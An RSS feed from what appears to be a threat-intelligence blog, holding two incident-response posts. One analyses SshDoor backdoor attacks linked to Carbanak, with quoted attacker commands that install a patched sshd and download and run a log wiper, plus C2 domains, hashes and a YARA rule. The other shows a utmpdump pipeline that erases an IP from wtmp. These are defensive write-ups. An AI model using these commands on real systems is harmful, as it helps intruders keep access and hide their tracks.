<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>unix &#8211; PT ESC</title>
	<atom:link href="https://ptesc.tech/en/tag/unix/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Wed, 30 Sep 2026 19:21:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>unix &#8211; PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>(Ex)Cobalt == (Ex)Carbanak</title>
		<link>https://ptesc.tech/en/excobalt-excarbanak/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Mon, 21 Apr 2025 12:26:07 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[TI]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[yara]]></category>
		<guid isPermaLink="false">http://localhost:8080/excobalt-excarbanak/</guid>

					<description><![CDATA[(Ex)Cobalt == (Ex)Carbanak 🤔 Since the beginning of 2025, the PT ESC team has observed a rise in the number of attacks using the SshDoor backdoor. Russian government institutions are often the focus of such attacks. After gaining access to…]]></description>
										<content:encoded><![CDATA[<strong>(Ex)Cobalt == (Ex)Carbanak</strong> 🤔<br />
<br />
Since the beginning of 2025, the <strong>PT ESC</strong> team has observed a rise in the number of attacks using the <code>SshDoor</code> backdoor. Russian government institutions are often the focus of such attacks.<br />
<br />
After gaining access to victim nodes, the attackers launch the sh script <code>Release.gz</code> (<em>screenshot 1</em>), which among other things downloads the encrypted <code>OpenSSL</code> file <code>main.jpg</code> (<em>screenshot 2</em>).<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">file ./main.jpg
./main.jpg: openssl enc'd data with salted password
</code></span></pre><br />
<br />
Command to decrypt the file:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">openssl aes-256-cbc -md sha256 -d -in $ARCHIVE_NAME -out tmp.tar.gz -k $ZIP_PASS
</code></span></pre><br />
<br />
Then a patched <code>sshd</code> is compiled on the compromised node and the <code>sshd</code> service is restarted.<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">...
make -j4&gt;&gt; /dev/null &amp;&amp; 
strip ssh sshd &amp;&amp;
make install
...
service sshd restart
</code></span></pre><br />
<br />
The patched <code>sshd</code> (<em>screenshot 3</em>) has a number of similarities with the <code>SshDoor</code> backdoor, which was described in the materials <a href="https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/" rel="noopener" target="_blank">Linux/SSHDoor.A Backdoored SSH daemon that steals passwords </a>(2013) and <a href="https://archive.orkl.eu/3b669818816e3d888b2546bc75ac0f44782f7faf.pdf" rel="noopener" target="_blank">Inside the Response of a Unique CARBANAK Intrusion</a> (2017).<br />
<br />
Overall, the functionality of the <code>SshDoor</code> we discovered has not undergone significant changes. The backdoor allows an attacker to gain covert access to a compromised server via the SSH protocol using a key or password specified in a configuration file or in the backdoor&#8217;s own code. The backdoor also collects and sends user authentication data to a remote server.<br />
<br />
In the material <code>Inside the Response of a Unique CARBANAK Intrusion</code>, researchers linked this sample to the APT group <code>Carbanak</code>, which <a href="https://securelist.ru/bolshoe-bankovskoe-ograblenie-apt-kampaniya-carbanak/25106/" rel="noopener" target="_blank">successfully attacked banking organizations in 2015</a>.<br />
<br />
The attacking group&#8217;s arsenal also includes the utility <code>A D V A N C E D  L O G W I P E R (ALW)</code> (<em>screenshot 4</em>), which is compiled on the victim&#8217;s node and deletes from a number of logs in <code>/var/log/*</code> (<em>screenshot 5</em>) all entries that contain the attackers&#8217; IP address (<code>$YOUR_IP</code>).<br />
<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash"><span class="hljs-comment">#------------------------Clean logs-------------------------------------</span>
<span class="hljs-keyword">if</span> <span class="hljs-built_in">which</span> gcc &gt;/dev/null 2&gt;&amp;1 ; <span class="hljs-keyword">then</span>
    <span class="hljs-variable">$DOWNLOADER</span> <span class="hljs-variable">$LOG_CLEANER</span>; gcc log.c -o <span class="hljs-built_in">log</span>; ./<span class="hljs-built_in">log</span> -h <span class="hljs-variable">$YOUR_IP</span>;rm -f <span class="hljs-built_in">log</span> log.c;
<span class="hljs-keyword">else</span>
    PACKET_MANAGER=<span class="hljs-variable">$PACKET_MANAGER</span><span class="hljs-string">" gcc"</span>;
    <span class="hljs-variable">$PACKET_MANAGER</span> &amp;&amp; <span class="hljs-variable">$DOWNLOADER</span> <span class="hljs-variable">$LOG_CLEANER</span>; gcc log.c -o <span class="hljs-built_in">log</span>; ./<span class="hljs-built_in">log</span> -h <span class="hljs-variable">$YOUR_IP</span>;rm -f <span class="hljs-built_in">log</span> log.c;
<span class="hljs-keyword">fi</span>
</code></span></pre><br />
<br />
Notably, the <code>RSA Global Incident Response</code> team in its material also attributes <code>ALW</code> to the activity of the <code>Carbanak</code> group.<br />
<br />
<strong>Configuration files:</strong><br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">/var/run/.options
/dev/shm/.options
</code></span></pre><br />
<br />
<strong>C2:</strong><br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">cdn2-os.pythonupdate.com
centos.pythonupdate.com
pkg.pkg-pfsense.org
</code></span></pre><br />
<br />
<strong>MD5:</strong><br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">016bd8119efd5fae482131464ff1dfde
eec5d0c3fc2b1b1074c3648e26d1fe08
0689b1e75241f93b43cd2af0c2f10217
</code></span></pre><br />
<br />
<strong>YARA:</strong><br />
<pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell">rule SshDoor {
    strings:
        <span class="hljs-variable">$spy1</span> = <span class="hljs-string">"SPY_PATH"</span>
        <span class="hljs-variable">$spy2</span> = <span class="hljs-string">"SPY_PORT"</span>
        <span class="hljs-variable">$spy3</span> = <span class="hljs-string">"SPY_HOST"</span>
        <span class="hljs-variable">$spy4</span> = <span class="hljs-string">"spy_passwd"</span>
        <span class="hljs-variable">$spy5</span> = <span class="hljs-string">"spy_master"</span>
        <span class="hljs-variable">$spy6</span> = <span class="hljs-string">"spy_bc_addr"</span>
        <span class="hljs-variable">$spy7</span> = <span class="hljs-string">"spy_buff"</span>
        <span class="hljs-variable">$spy8</span> = <span class="hljs-string">"spy_addr"</span>
        <span class="hljs-variable">$spy9</span> = <span class="hljs-string">"spy_buff_port"</span>
        <span class="hljs-variable">$sshd</span> = <span class="hljs-string">"usage: sshd"</span>
    condition:
        uint32be(<span class="hljs-number">0</span>) == <span class="hljs-number">0</span>x7f454c46 and <span class="hljs-variable">$sshd</span> and (any of (<span class="hljs-variable">$spy</span>*))
}
</code></span></pre><br />
<br />
<strong>Happy hunting!</strong>

<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07-768x769.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/04/photo_276@21-04-2025_12-26-07.jpg 1279w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="809" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07-809x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07-809x1024.jpg 809w, https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07-237x300.jpg 237w, https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07-768x972.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/04/photo_277@21-04-2025_12-26-07.jpg 1011w" sizes="auto, (max-width: 809px) 100vw, 809px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07-768x769.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/04/photo_278@21-04-2025_12-26-07.jpg 1279w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07-768x769.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/04/photo_279@21-04-2025_12-26-07.jpg 1279w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#hunt</span> <span class="hashtag">#ti</span> <span class="hashtag">#ioc</span> <span class="hashtag">#yara</span> <span class="hashtag">#dfir</span> <span class="hashtag">#detect</span> <span class="hashtag">#unix</span> <span class="hashtag">#apt</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>utmpdump dual-purpose</title>
		<link>https://ptesc.tech/en/utmpdump-dual-purpose/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Fri, 07 Jun 2024 15:04:04 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[unix]]></category>
		<guid isPermaLink="false">https://ptesc.tech/utmpdump-%d0%b4%d0%b2%d0%be%d0%b9%d0%bd%d0%be%d0%b3%d0%be-%d0%bd%d0%b0%d0%b7%d0%bd%d0%b0%d1%87%d0%b5%d0%bd%d0%b8%d1%8f/</guid>

					<description><![CDATA[utmpdump dual-use Default Unix systems have little forensic information (vs Windows) and a lot of useful utilities. For example, there is a "wonderful" utility that allows dumping information from [ubw]tmp files into ASCII files, and also…]]></description>
										<content:encoded><![CDATA[<p><strong>utmpdump dual-use</strong></p>
<p>Default Unix systems have little forensic information (vs Windows) and a lot of useful utilities. For example, there is a &#8220;wonderful&#8221; utility that allows dumping information from [ubw]tmp files into ASCII files, and also, verbatim from the man page:</p>
<blockquote><p>&#8230;which can then be edited to remove bogus entries, and reintegrated using:<br />
utmpdump -r &lt; ascii_file &gt; wtmp</p></blockquote>
<p>So if some &#8220;crooked&#8221; IP address ended up in the logs, illegitimate &#8220;system administrators&#8221; can simply delete it, which is exactly what we encountered on cases:</p>
<p>Dumping:</p>
<pre><code>
utmpdump /var/log/wtmp</code></pre>
<p>Through a pipe, lines are grepped with the exclusion of the &#8220;crooked&#8221; IP address and output to a temp file:</p>
<pre><code>
| grep -v $EYE_PEE &gt;/tmp/.wt </code></pre>
<p>The result is imported back:</p>
<pre><code>
&amp;&amp; utmpdump -r &lt;/tmp/.wt &gt;/var/log/wtmp </code></pre>
<p>Then the temp file is deleted:</p>
<pre><code>
&amp;&amp; rm -f /tmp/.wt</code></pre>
<p>And of course, as stated in the man page:</p>
<blockquote><p>But be warned, utmpdump was written for debugging purposes only.</p></blockquote>
<p>The detections have been described a very long time ago, <a href="https://sandflysecurity.com/blog/using-linux-utmpdump-for-forensics-and-detecting-log-file-tampering/" rel="noopener" target="_blank">you can refresh your memory on them.</a></p>
<p><span class="hashtag">#tool</span> <span class="hashtag">#detect</span> <span class="hashtag">#hunt</span> <span class="hashtag">#nix</span> <span class="hashtag">#dfir</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
